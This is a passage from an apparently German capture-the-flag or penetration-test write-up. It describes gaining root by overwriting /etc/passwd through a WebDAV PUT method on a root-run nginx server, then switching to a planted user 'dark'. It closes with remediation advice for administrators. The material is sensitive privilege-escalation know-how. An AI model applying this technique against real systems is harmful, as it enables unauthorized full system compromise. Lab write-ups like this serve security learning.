erfolgreich war und ich nun Root-Berechtigungen besitze. Für Laien: Ich habe die Datei mit dem neuen 'Geheimbenutzer' 'dark' über die spezielle 'Telefonleitung' (Port 4448) auf den Computer 'hochgeladen' und dabei die alte Benutzerliste ersetzt. Dann habe ich versucht, mich als 'dark' anzumelden, mein Passwort eingegeben, und fantastisch, ich bin jetzt der Super-Administrator ('root')! Für Experten: Die erfolgreiche Nutzung der WebDAV PUT-Methode über Nginx, der mit Root-Rechten läuft und das System-Root als Webroot hat, ist eine effektive Methode zur Erlangung von Root-Rechten durch Überschreiben kritischer Systemdateien wie /etc/passwd
. Der anschließende erfolgreiche su dark
Befehl und die id
-Ausgabe bestätigen die erfolgreiche Privilegien-Eskalation auf Root-Ebene. Die Bash-Shell ändert ihren Prompt zu #
, wenn man Root ist.
Bewertung: Fantastisch! Der Root-Zugriff war erfolgreich! Ich habe die /etc/passwd
-Datei erfolgreich überschrieben und konnte mich als der neu erstellte Benutzer dark
mit Root-Berechtigungen anmelden. Dies ist der vollständige Kompromiss des Systems.
Empfehlung (Pentester): Ich habe mein Ziel erreicht. Nun kann ich auf alle Dateien zugreifen, einschließlich der Root-Flag. Ich werde die Root-Flag auslesen und den Bericht abschließen.
Empfehlung (Admin): Dies ist die schwerwiegendste Schwachstelle – ein Angreifer hat Root-Rechte erlangt. Dies erfordert eine sofortige Reaktion: Nehmen Sie das System offline, identifizieren Sie die Root Cause der Schwachstelle (unsichere sudo
-Regel für Nginx, unsichere Nginx-Konfiguration, kompromittiertes Benutzerpasswort), patchen Sie das System, stellen Sie es von einem sauberen Backup wieder her und implementieren Sie umfassende Sicherheitsmaßnahmen, um solche Angriffe in Zukunft zu verhindern.